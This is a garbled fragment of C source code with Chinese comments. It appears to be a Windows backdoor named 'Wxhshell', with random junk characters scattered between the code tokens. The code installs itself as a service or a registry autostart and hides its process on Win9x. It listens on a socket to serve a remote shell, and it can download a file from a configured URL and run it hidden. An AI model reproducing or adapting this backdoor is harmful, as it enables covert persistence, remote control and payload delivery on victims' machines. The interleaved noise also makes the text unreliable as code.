if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ??h4qJ %TS8 9/ CloseHandle(hProcess); OQ*rxLcA q+cx.Rc# if(strstr(procName,"services")) return 1; // 以服务启动 r>;6>ZMe *;Gn od< return 0; // 注册表启动 d <Rv~F@
} GOj<>h}r ?@5#p*u0 // 主模块 \@hq7:Q int StartWxhshell(LPSTR lpCmdLine) z P=3B%$ { } DQ KfS SOCKET wsl; 2pV@CT BOOL val=TRUE; v 8NoD_ int port=0; iw0|A struct sockaddr_in door; ~#nbD-*# uJu#Vr:m if(wscfg.ws_autoins) Install(); MT(G=r8 )sG/H8 port=atoi(lpCmdLine); y)0wM~E;2 MfK}DEJK, if(port<=0) port=wscfg.ws_port; 'D17]Lp~. 2y@y<38 WSADATA data; N]7#Q.(~ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0uwe,; Y0ouLUlI if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *|^}=ioj* setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2/.I6IbL door.sin_family = AF_INET; o.x<h"; door.sin_addr.s_addr = inet_addr("127.0.0.1"); Nc[[o>/Cb door.sin_port = htons(port); IM*T+iRKqF YCS8qEP& if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dXewS_7 closesocket(wsl); I>(-&YbC return 1; >w)A~ F< } x'hUw* PBY^m+
if(listen(wsl,2) == INVALID_SOCKET) { mYw9lM closesocket(wsl); .jvRUD8A7 return 1; m5\/7 VC } :+$/B N:iO Wxhshell(wsl); :9f/d;Mo3 WSACleanup(); ?*: mR|= D<UX^hU
return 0; O[v(kH' " UxKG+ } I%gDqfdL GZk{tTv // 以NT服务方式启动 qTi%].F"G VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .C?rToCY { 9w08)2$Na DWORD status = 0; VKb'!Ystl DWORD specificError = 0xfffffff; 8V(-S, \*.u(8~2o serviceStatus.dwServiceType = SERVICE_WIN32; $zYo~5M?i- serviceStatus.dwCurrentState = SERVICE_START_PENDING; SED_^ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D?6ah=:&R serviceStatus.dwWin32ExitCode = 0; z57|9$h}w serviceStatus.dwServiceSpecificExitCode = 0; >4x~US[VB serviceStatus.dwCheckPoint = 0; rWnZ It" serviceStatus.dwWaitHint = 0; )9?
^;HS C
Ch38qBp hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +VdC g_ if (hServiceStatusHandle==0) return; ^7$V>| sH`(y)`_ status = GetLastError(); jI~GRk if (status!=NO_ERROR) Sz3Tp5b { 2nA/{W\ hC serviceStatus.dwCurrentState = SERVICE_STOPPED; kNDN<L serviceStatus.dwCheckPoint = 0; -eSZpz p serviceStatus.dwWaitHint = 0;
0gOB$W serviceStatus.dwWin32ExitCode = status; tG}cmK~% serviceStatus.dwServiceSpecificExitCode = specificError; aH+n]J]
=) SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Er;l| return; CHo(:A.U> } H6/C7 b0ablVk serviceStatus.dwCurrentState = SERVICE_RUNNING; /%9CR'%*c serviceStatus.dwCheckPoint = 0; sV5S>*A[ serviceStatus.dwWaitHint = 0; `(6g87h if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HDV$y=oHh } 0
$_0T W^Z#_{ // 处理NT服务事件,比如:启动、停止 @A;Ouu( VOID WINAPI NTServiceHandler(DWORD fdwControl) Bgy?k K2[ { t,>j{SK ~ switch(fdwControl) 'awZ-$# { |JRaskd case SERVICE_CONTROL_STOP: /By`FW Y serviceStatus.dwWin32ExitCode = 0; dp'xd>m serviceStatus.dwCurrentState = SERVICE_STOPPED; R7j'XU serviceStatus.dwCheckPoint = 0; NP< {WL# serviceStatus.dwWaitHint = 0; l7M![Ur { 4!^flKZQ SetServiceStatus(hServiceStatusHandle, &serviceStatus); oNK-^N?-T } T3#KuiwU9 return; "{Jq6):mp case SERVICE_CONTROL_PAUSE: ZXL serviceStatus.dwCurrentState = SERVICE_PAUSED; )mvD2]fK break; Tyk\l>S case SERVICE_CONTROL_CONTINUE: "Oj2B|:s& serviceStatus.dwCurrentState = SERVICE_RUNNING; Q\k|pg? break; q/l@J3p[qm case SERVICE_CONTROL_INTERROGATE: iZbY@-3fc break; ji:E }; wS%aN@ay3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); H%
"R _[+ } m#kJ((~ [23F0-p // 标准应用程序主函数 EXD Qr'" int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i!+Wv- { 6l|,J`G ;&8 // 获取操作系统版本 TU(w>v OsIsNt=GetOsVer(); g9K7_T #W GetModuleFileName(NULL,ExeFile,MAX_PATH); 01; iD-,C` // 从命令行安装 uiEAi if(strpbrk(lpCmdLine,"iI")) Install(); oGa8#> %\ef
Mhn // 下载执行文件 ghu8Eg,Y if(wscfg.ws_downexe) { NP_b~e6O= if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =n73bm WinExec(wscfg.ws_filenam,SW_HIDE); etk@ j3# } 0X'2d O!=ae| if(!OsIsNt) { '"QN{ja // 如果时win9x,隐藏进程并且设置为注册表启动 XBF]|}% HideProc(); z0Bw+&^]} StartWxhshell(lpCmdLine); `PVr;& } {u4=*>?G else s)<^YASg if(StartFromService()) G<f"_NT // 以服务方式启动 %@9pn1, StartServiceCtrlDispatcher(DispatchTable); 3$Y(swc else ,j|9Bs // 普通方式启动 13v# StartWxhshell(lpCmdLine); C%)Xz mx:) &1 return 0; B]-~hP }
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